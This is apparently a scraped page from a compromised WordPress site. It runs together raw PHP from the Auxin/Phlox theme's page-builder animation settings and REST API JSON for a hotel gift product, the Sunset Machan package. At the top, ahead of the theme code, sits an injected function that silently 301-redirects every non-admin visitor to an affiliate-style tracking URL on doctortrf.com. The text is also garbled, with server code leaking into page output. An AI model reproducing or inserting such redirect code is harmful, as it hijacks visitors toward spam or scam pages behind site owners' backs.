function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect'); /** * General fields to be applied to all VC Elements * * * @package Auxin * @license LICENSE.txt * @author averta * @link http://phlox.pro/ * @copyright (c) 2010-2022 averta */ function auxin_add_vc_extra_fields_for_all( $master_array ){ foreach ( $master_array as $element_base => $element ) { if( isset( $element['is_vc'] ) && false !== auxin_is_true( $element['is_vc'] ) ){ $master_array[ $element_base ]['params'][] = array( 'type' => 'dropdown', 'heading' => __( 'Transition', 'auxin-elements' ), 'description' => __( 'Choose the type of tranistion while the element enters in view.', 'auxin-elements' ), 'param_name' => 'inview_transition', 'class' => '', 'group' => __( 'Animation', 'auxin-elements' ), 'value' => array( 'none' => __( 'None' , 'auxin-elements' ), 'aux-invu-short-left' => __( 'Short from left' , 'auxin-elements' ), 'aux-invu-short-right' => __( 'Short from right' , 'auxin-elements' ), 'aux-invu-short-bottom' => __( 'Short from bottom', 'auxin-elements' ), 'aux-invu-short-top' => __( 'Short from top' , 'auxin-elements' ), 'aux-invu-medium-left' => __( 'Medium from left' , 'auxin-elements' ), 'aux-invu-medium-right' => __( 'Medium from right' , 'auxin-elements' ), 'aux-invu-medium-bottom' => __( 'Medium from bottom', 'auxin-elements' ), 'aux-invu-medium-top' => __( 'Medium from top' , 'auxin-elements' ), 'aux-invu-long-left' => __( 'Long from left' , 'auxin-elements' ), 'aux-invu-long-right' => __( 'Long from right' , 'auxin-elements' ), 'aux-invu-long-bottom' => __( 'Long from bottom', 'auxin-elements' ), 'aux-invu-long-top' => __( 'Long from top' , 'auxin-elements' ), 'aux-invu-scale-down-small' => __( 'Small scale down' , 'auxin-elements' ), 'aux-invu-scale-down-medium' => __( 'Medium scale down' , 'auxin-elements' ), 'aux-invu-scale-down-large' => __( 'Large scale down', 'auxin-elements' ), 'aux-invu-scale-up-small' => __( 'Small scale up' , 'auxin-elements' ), 'aux-invu-scale-up-medium' => __( 'Medium scale up' , 'auxin-elements' ), 'aux-invu-scale-up-large' => __( 'Large scale up', 'auxin-elements' ) ) ); $master_array[ $element_base ]['params'][] = array( 'type' => 'textfield', 'heading' => __( 'Duration', 'auxin-elements' ), 'description' => __( 'The transition duration in milliseconds.', 'auxin-elements' ), 'param_name' => 'inview_duration', 'class' => '', 'group' => __( 'Animation', 'auxin-elements' ), 'value' => 600 ); $master_array[ $element_base ]['params'][] = array( 'type' => 'textfield', 'heading' => __( 'Delay', 'auxin-elements' ), 'description' => __( 'The delay before starting the animation in milliseconds.', 'auxin-elements' ), 'param_name' => 'inview_delay', 'group' => __( 'Animation', 'auxin-elements' ) ); $master_array[ $element_base ]['params'][] = array( 'type' => 'dropdown', 'heading' => __( 'Repeat', 'auxin-elements' ), 'description' => __( 'Choose "yes" to repeat the animation, or choose "no" to display the animation only once.', 'auxin-elements' ), 'param_name' => 'inview_repeat', 'group' => __( 'Animation', 'auxin-elements' ), 'value' => array( 'no' => __( 'No' , 'auxin-elements' ), 'yes' => __( 'Yes', 'auxin-elements' ) ), 'def_value' => 'no' ); $master_array[ $element_base ]['params'][] = array( 'type' => 'textfield', 'heading' => __( 'Offset', 'auxin-elements' ), 'description' => __( 'The vertical offset in pixels in order to start playing the animation.', 'auxin-elements' ), 'param_name' => 'inview_offset', 'group' => __( 'Animation', 'auxin-elements' ) ); } } return $master_array; } add_filter( 'auxin_master_array_shortcodes', 'auxin_add_vc_extra_fields_for_all', 110, 1 ); {"id":603,"date":"2022-07-21T09:59:35","date_gmt":"2022-07-21T09:59:35","guid":{"rendered":"https:\/\/www.themachan.com\/gifting\/?post_type=product&p=603"},"modified":"2023-02-23T07:12:37","modified_gmt":"2023-02-23T07:12:37","slug":"deluxe-package-sunset-machan","status":"publish","type":"product","link":"https:\/\/www.themachan.com\/gifting\/product\/deluxe-package-sunset-machan\/","title":{"rendered":"Deluxe Package Sunset Machan"},"content":{"rendered":"","protected":false},"excerpt":{"rendered":"
Our Sunset Machans truly encapsulate the ethos of The Machan. With glass walls that spy right through to the horizon, eclectic d\u00e9cor, a king-size four-poster bed, antique brass fittings and recycled old ship lamps, the rustic charm of the Sunset Machans will take your breath away. If you\u2019ve ever wanted to live in a suite surrounded by trees with a view of the clouds adorning the neck of the Western Ghats, the Sunset Machan is tailor-made for you.<\/p>\n
Our Sunset Machans truly encapsulates the ethos of The Machan. With glass walls that spy right through to the horizon, eclectic d\u00e9cor, a King-sized four-poster bed, antique brass fittings, and recycled old ship lamps, the rustic charm of the Sunset Machans will take your breath away.<\/p>\n
Each independently floating Sunset Machan is designed as a loft-suite and has four distinct sections – <\/strong><\/p>\n\n
<\/p>\n","protected":false},"featured_media":2297,"comment_status":"closed","ping_status":"closed","template":"","meta":[],"product_cat":[33],"product_tag":[],"class_list":["post-603","product","type-product","status-publish","has-post-thumbnail","hentry","product_cat-wps_wgm_giftcard","aux-has-gallery"],"acf":[],"_links":{"self":[{"href":"https:\/\/www.themachan.com\/gifting\/wp-json\/wp\/v2\/product\/603","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.themachan.com\/gifting\/wp-json\/wp\/v2\/product"}],"about":[{"href":"https:\/\/www.themachan.com\/gifting\/wp-json\/wp\/v2\/types\/product"}],"replies":[{"embeddable":true,"href":"https:\/\/www.themachan.com\/gifting\/wp-json\/wp\/v2\/comments?post=603"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.themachan.com\/gifting\/wp-json\/wp\/v2\/media\/2297"}],"wp:attachment":[{"href":"https:\/\/www.themachan.com\/gifting\/wp-json\/wp\/v2\/media?parent=603"}],"wp:term":[{"taxonomy":"product_cat","embeddable":true,"href":"https:\/\/www.themachan.com\/gifting\/wp-json\/wp\/v2\/product_cat?post=603"},{"taxonomy":"product_tag","embeddable":true,"href":"https:\/\/www.themachan.com\/gifting\/wp-json\/wp\/v2\/product_tag?post=603"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}